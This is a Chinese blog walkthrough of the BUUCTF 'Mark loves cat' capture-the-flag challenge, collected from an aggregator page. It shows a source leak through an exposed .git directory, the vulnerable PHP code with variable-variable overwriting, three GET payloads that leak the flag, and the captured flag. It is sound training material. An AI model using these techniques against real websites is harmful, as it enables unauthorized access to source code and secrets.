当前位置: 首页 > news >正文

BUUCTF——Mark loves cat

BUUCTF——Mark loves cat

进入靶场

在这里插入图片描述

简单的看了一下功能点

扫一下目录吧

在这里插入图片描述

扫目录发现一个.git

下一下源码看看

在这里插入图片描述

找到个flag.php和index.php

在这里插入图片描述

<?php$flag = file_get_contents('/flag');

再看看index.php(代码有点长,所以只留了后面有用的)

<?phpinclude 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
}foreach($_GET as $x => $y){$$x = $$y;
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}echo "the flag is: ".$flag;

根据代码这道题应该有几种解法

一个一个来吧

方法一、

foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}

先看第一个

$_GET['flag'] === $x:该条件检查$_GET['flag']的值是否和当前遍历到的参数名$x完全相等。===是严格相等比较运算符,它不仅会比较值,还会比较数据类型。

$x !== 'flag':此条件保证当前遍历到的参数名不是flag本身。

$x = 'flag'$y = 'name'时,$_GET['flag'] === $xfalse,因为$_GET['flag']的值是'name',而$x的值是'flag',所以不满足条件。

构造payload

?handsome=flag&flag=handsome

在这里插入图片描述

拿到flag

flag{43a901d4-8f66-43df-a525-9ce47464b283}

方法二、

if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}

这段代码的主要功能是检查当前的 HTTP 请求中是否包含名为 flag 的参数。如果 GET 请求和 POST 请求里都没有 flag 参数,就会输出 $yds 变量的值,然后终止当前代码的执行。

在这里插入图片描述

所以构造payload

?yds=flag

在这里插入图片描述

拿到flag

flag{43a901d4-8f66-43df-a525-9ce47464b283}

方法三、

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}

这段代码的主要功能是检查当前的 HTTP 请求中,flag 参数的值是否严格等于字符串 'flag'。如果满足这个条件,就会输出变量 $is 的值,并终止当前代码的执行。

构造payload

?is=flag&flag=flag

在这里插入图片描述

拿到flag

flag{43a901d4-8f66-43df-a525-9ce47464b283}

下播!!!

在这里插入图片描述

相关文章:

  • CloudCompare 中 ccDrawableObject
  • 健康养生:从微小改变开始
  • 2025系统架构师---论软件可靠性设计范文
  • yolo 用roboflow标注的数据集本地训练 kaggle训练 comet使用 训练笔记5
  • 从零开始学Python:开启编程新世界的大门
  • C++ 适配器模式详解
  • uniapp 云开发全集 云数据库
  • 11.施工监测
  • 【项目】基于ArkTS的网吧会员应用开发(1)
  • NHANES指标推荐:ZJU index
  • 作者新游戏1.1
  • 什么是外联模板(extern template)?
  • 解锁现代健康密码:科学养生新主张
  • Qt中的UIC
  • 【机器学习-线性回归-5】多元线性回归:概念、原理与实现详解
  • 数据库的二级索引
  • 2022年全国青少年信息素养大赛 Python编程挑战赛 小学/初中组 初赛真题答案详细解析
  • 直方图比较
  • Web前端开发:Grid 布局(网格布局)
  • RGB三原色
  • 《蓦然回首》:现代动画的践行与寓言
  • 缅甸国防军继续延长临时停火期限至5月31日
  • 金沙记忆|元谋龙街渡:是起点也是终点
  • 五一小长假上海“人从众”,全要素旅游交易总额超200亿元
  • 交通运输部、水利部同日召开会议,深刻汲取贵州游船倾覆事故教训
  • 国铁:今天预计发送旅客2110万人次,加开列车1896列